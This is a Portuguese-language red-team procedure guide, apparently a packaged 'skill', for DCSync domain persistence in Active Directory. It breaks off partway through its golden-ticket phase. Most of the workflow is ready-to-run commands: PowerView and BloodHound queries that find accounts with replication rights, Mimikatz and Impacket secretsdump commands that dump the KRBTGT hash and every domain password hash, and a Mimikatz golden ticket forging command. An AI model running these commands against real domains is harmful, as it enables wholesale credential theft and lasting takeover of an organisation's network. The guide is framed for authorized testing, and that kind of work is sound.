Realizando Persistência de Domínio com DCSync

Aviso Legal: Esta habilidade destina-se apenas a fins de testes de segurança autorizados e educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Visão Geral

DCSync é uma técnica de ataque que abusa do Microsoft Directory Replication Service Remote Protocol (MS-DRSR) para se passar por um Controlador de Domínio e solicitar dados de senha do DC alvo. O ataque foi introduzido por Benjamin Delpy (autor do Mimikatz) e Vincent Le Toux, aproveitando os direitos estendidos DS-Replication-Get-Changes e DS-Replication-Get-Changes-All. Qualquer principal (usuário ou computador) com esses direitos pode replicar hashes de senha para qualquer conta no domínio, incluindo a conta KRBTGT. Com o hash KRBTGT, os atacantes podem forjar Golden Tickets para persistência de domínio indefinida. DCSync é categorizado como MITRE ATT&CK T1003.006 e é uma técnica crítica de pós-exploração usada por grupos APT, incluindo APT28 (Fancy Bear), APT29 (Cozy Bear) e FIN6.

Quando Usar

• Ao realizar avaliações de segurança que envolvam a realização de persistência de domínio com dcsync
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
• Ao realizar testes de segurança ou atividades de auditoria agendadas
• Ao validar controles de segurança por meio de testes práticos

Pré-requisitos

• Familiaridade com conceitos e ferramentas de red teaming
• Acesso a um ambiente de teste ou laboratório para execução segura
• Python 3.8+ com as dependências necessárias instaladas
• Autorização apropriada para quaisquer atividades de teste

Objetivos

• Identificar contas com direitos DCSync (replicação) no Active Directory
• Realizar DCSync usando Mimikatz ou secretsdump.py do Impacket
• Extrair o hash da conta KRBTGT para criação de Golden Ticket
• Despejar todos os hashes de senha de usuários do domínio para análise de credenciais
• Forjar Golden Tickets para acesso persistente ao domínio
• Conceder direitos DCSync a uma conta controlada para persistência alternativa
• Documentar a cadeia de ataque e os mecanismos de persistência

Mapeamento MITRE ATT&CK

• T1003.006 - OS Credential Dumping: DCSync
• T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
• T1222.001 - File and Directory Permissions Modification: Windows
• T1098 - Account Manipulation
• T1078.002 - Valid Accounts: Domain Accounts

Fluxo de Trabalho

Fase 1: Identificar Contas com Direitos DCSync

1. Enumerar principais com direitos de replicação:

   # Using PowerView
   Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
     Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                    ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
     Select-Object SecurityIdentifier, ObjectAceType
   
   # Using BloodHound Cypher query
   MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
   RETURN u.name, d.name
   

2. Usando FindDelegation do Impacket ou consulta LDAP personalizada:

   # Check with Impacket
   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   

3. Contas padrão com direitos DCSync:
   • Domain Admins
   • Enterprise Admins
   • Grupo Domain Controllers
   • SYSTEM em Domain Controllers

Fase 2: Extração de Credenciais DCSync

1. Usando Mimikatz (Windows):

   # Dump specific account (KRBTGT for Golden Ticket)
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
   
   # Dump Domain Admin
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
   
   # Dump all domain accounts
   mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
   

2. Usando secretsdump.py do Impacket (Linux):

   # Dump all credentials
   secretsdump.py domain.local/admin:'Password123'@10.10.10.1
   
   # Dump specific user
   secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
   
   # Dump only NTLM hashes (no Kerberos keys)
   secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
   
   # Using Kerberos authentication
   export KRB5CCNAME=admin.ccache
   secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
   

Fase 3: Criação de Golden Ticket

1. Usando Mimikatz com o hash KRBTGT extraído:

   # Criar Golden Ticket
   mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
     /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
     /krbtgt:<krbtgt_ntlm_hash> /ptt"
   
   # Criar com associações de grupo específicas
   

…